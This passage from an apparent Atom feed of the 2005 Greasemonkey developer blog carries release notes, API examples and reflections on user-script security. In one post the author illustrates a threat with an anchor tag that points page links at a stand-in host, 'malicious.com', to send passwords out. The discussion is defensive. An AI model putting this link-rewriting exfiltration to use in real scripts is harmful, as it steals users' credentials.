Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111227967878455273' title='25 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111227967878455273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111227967878455273'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/03/greasemonkie-user-scripts-for-ie_31.html' title='GreasemonkIE: user scripts for IE'/><author><name>Jeremy Dunck</name><uri>http://www.blogger.com/profile/00539478892335210132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>25</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111221367597742715</id><published>2005-03-30T12:12:00.000-08:00</published><updated>2005-03-30T14:20:19.900-08:00</updated><title type='text'>Greasemonkey 0.2.6: Now with less fatal chrome bugs!</title><content type='html'>So it looks like &lt;a href="http://downloads.mozdev.org/greasemonkey/greasemonkey_0.2.6.xpi"&gt;greasemonkey 0.2.6&lt;/a&gt;, which fixes the major flaw in 0.2.5 that stopped some people's chrome (including forward/back buttons, tabs, and url bars) from working, is propagated across all the servers.&lt;br /&gt;&lt;br /&gt;Sorry for all the trouble people had with the previous release. Please comment here if you continue to have problems.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111221367597742715?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111221367597742715/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111221367597742715' title='42 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111221367597742715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111221367597742715'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/03/greasemonkey-026-now-with-less-fatal.html' title='Greasemonkey 0.2.6: Now with less fatal chrome bugs!'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>42</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111211479427704594</id><published>2005-03-29T08:42:00.000-08:00</published><updated>2005-03-29T08:46:34.276-08:00</updated><title type='text'>Greasemonkey 0.2.5: b0rken</title><content type='html'>There seems to be two major problems people are experiencing: first, they don't even get 0.2.5 because the download link sends them to 0.2.4. This is great because they have no chance of experiencing the other bug if they download that version ;-). Unfortunately it seems to be that all the download mirrors &lt;span style="font-style: italic;"&gt;still&lt;/span&gt; haven't propagated yet, ~12 hours after I synced them, which is a little worrisome.&lt;br /&gt;&lt;br /&gt;The second issue is that some people are having problems with their address bars with 0.2.5. I don't actually get this, so I don't think it occurs in all cases.&lt;br /&gt;&lt;br /&gt;Anyway, please bear with us as we get a better version uploaded. Thanks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111211479427704594?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111211479427704594/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111211479427704594' title='37 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111211479427704594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111211479427704594'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/03/greasemonkey-025-b0rken.html' title='Greasemonkey 0.2.5: b0rken'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>37</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111207756727894762</id><published>2005-03-28T21:56:00.000-08:00</published><updated>2005-03-28T22:32:27.063-08:00</updated><title type='text'>Greasemonkey 0.2.5: XMLHTTP across domains and tool menu commands</title><content type='html'>0.2.5 is &lt;a href="http://greasemonkey.mozdev.org/"&gt;available&lt;/a&gt;. This was a pretty cool release because it had contributions from four different people.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;GM_xmlhttpRequest - XMLHTTP across domains&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Using the new global GM_xmlhttpRequest function, user script authors can make XMLHTTP requests to any domain. These type of requests used to be limited by the traditional browser sandbox of only making requests to the same domain of the current page.&lt;br /&gt;&lt;br /&gt;Here's an example request:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GM_xmlhttpRequest({&lt;br /&gt;method:"POST",&lt;br /&gt;url:"http://someurl.com/monkey",&lt;br /&gt;headers:["Header-A":"hotdog","Header-B","foobar"],&lt;br /&gt;data:"foo=bar&amp;hot=dog&amp;amp;mon=key",&lt;br /&gt;onload:function(result) { alert(result.responseText) }&lt;br /&gt;});&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://greasemonkey.mozdev.org/authoring.html#specialfunctions"&gt;There are other options as well&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;GM_registerMenuCommand - user scripts that add commands to the tools menu&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You can use the new GM_registerMenuCommand function to add things to the tools menu. Here's an example:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GM_registerMenuCommand("My command", function() {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  alert("hello, from a user script!");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;});&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This should enable many user scripts that have a component that should be executed by the user on demand, like a bookmarklet.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Other random things:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;   &lt;li&gt;Added an "enable all"/"disable all" feature to the greasemonkey options screen&lt;/li&gt;   &lt;li&gt;Fixed a bug that was preventing greasemonkey from applying user scripts to XHTML strict documents&lt;/li&gt;   &lt;li&gt;Removed all default scripts from installation. These were causing problems for too many people, and there's no longer any need for example scripts now that we have the &lt;a href="http://dunck.us/collab/GreaseMonkeyUserScripts"&gt;repository&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt; &lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111207756727894762?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111207756727894762/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111207756727894762' title='27 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111207756727894762'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111207756727894762'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/03/greasemonkey-025-xmlhttp-across.html' title='Greasemonkey 0.2.5: XMLHTTP across domains and tool menu commands'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>27</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111196826228050093</id><published>2005-03-27T16:00:00.000-08:00</published><updated>2005-03-27T16:05:59.626-08:00</updated><title type='text'>The user script arms race has begun!</title><content type='html'>The incomparable Dean Edwards has posted a &lt;a href="http://dean.edwards.name/weblog/2005/03/ungreased/"&gt;well-written example &lt;/a&gt; showing how a site owner can gum up the works for unwanted scripts.&lt;br /&gt;&lt;br /&gt;This was a small matter of time.  User scripts are a new thing on the web, and the concerns Dean raises are valid.  Besides, when user scripts get more popular, there's too much money in advertising for workarounds not to be sought.&lt;br /&gt;&lt;br /&gt;We can work through this.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111196826228050093?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111196826228050093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111196826228050093' title='21 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111196826228050093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111196826228050093'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/03/user-script-arms-race-has-begun.html' title='The user script arms race has begun!'/><author><name>Jeremy Dunck</name><uri>http://www.blogger.com/profile/00539478892335210132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>21</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111162665409967576</id><published>2005-03-23T16:50:00.000-08:00</published><updated>2005-03-23T17:51:24.870-08:00</updated><title type='text'>And now for something less snarky...</title><content type='html'>&lt;a href="http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111158990354060111"&gt;Lynn asked&lt;/a&gt; in the comments what we think of the security concerns raised by the cnet article.&lt;br /&gt;&lt;br /&gt;I think that people should be careful which userscripts they install on their computer. If they aren't javascript-literate, maybe they should hold off until there is a community rating system in place.&lt;br /&gt;&lt;br /&gt;It is an important (and interesting!) problem though. And even though all my friends say it's probably impossible to solve, I'll keep tinkering with it because I'm lame that way. Perhaps an ugly hack will surface yet.&lt;br /&gt;&lt;br /&gt;I thought about it over the weekend, eventually coming to the conclusion that the real problem was in fact the browser: browsers shouldn't let javascript initiate http requests to other domains without a user prompt. If there were no way for javascript to send data on the page to anywhere besides the originating domain, these problem wouldn't exist! &lt;span style="font-style: italic;"&gt;Why oh why,&lt;/span&gt; I cried to myself, &lt;span style="font-style: italic;"&gt;Why were these browser manufacturers so stupid? &lt;/span&gt;I decided to write an extension to fix this behavior in Firefox.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;It was while explaining my great idea to &lt;a href="http://ponderer.org/"&gt;Tony&lt;/a&gt; this morning that I first realized it would still be vulnerable to the oldest exploit of all: the hyperlink. Even if I blocked all javascript initiated communication completely, nothing stops javascript from changing all the hyperlinks on the page to point to:&lt;br /&gt;&lt;br /&gt;&amp;lt;a href="http://malicious.com/?showme=[yourpasswords]&amp;muahahahah"&amp;gt;&lt;br /&gt;&lt;br /&gt;Then all it takes is one click and your passwords are stolen. Bollocks. Back to the drawing board.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111162665409967576?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111162665409967576/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111162665409967576' title='29 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111162665409967576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111162665409967576'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/03/and-now-for-something-less-snarky.html' title='And now for something less snarky...'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>29</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111161163679098949</id><published>2005-03-23T12:38:00.000-08:00</published><updated>2005-03-23T13:00:36.790-08:00</updated><title type='text'>A thought:</title><content type='html'>Greasemonkey has the exact same security context as bookmarklets.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111161163679098949?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111161163679098949/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111161163679098949' title='20 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111161163679098949'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111161163679098949'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/03/thought.html' title='A thought:'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>20</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-111158990354060111</id><published>2005-03-23T06:57:00.000-08:00</published><updated>2005-03-23T06:58:23.540-08:00</updated><title type='text'>Hello World!</title><content type='html'>It occurred to me that greasemonkey ought to have a blog.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-111158990354060111?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/111158990354060111/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=111158990354060111' title='29 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111158990354060111'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/111158990354060111'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2005/03/hello-world.html' title='Hello World!'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>29</thr:total></entry></feed>
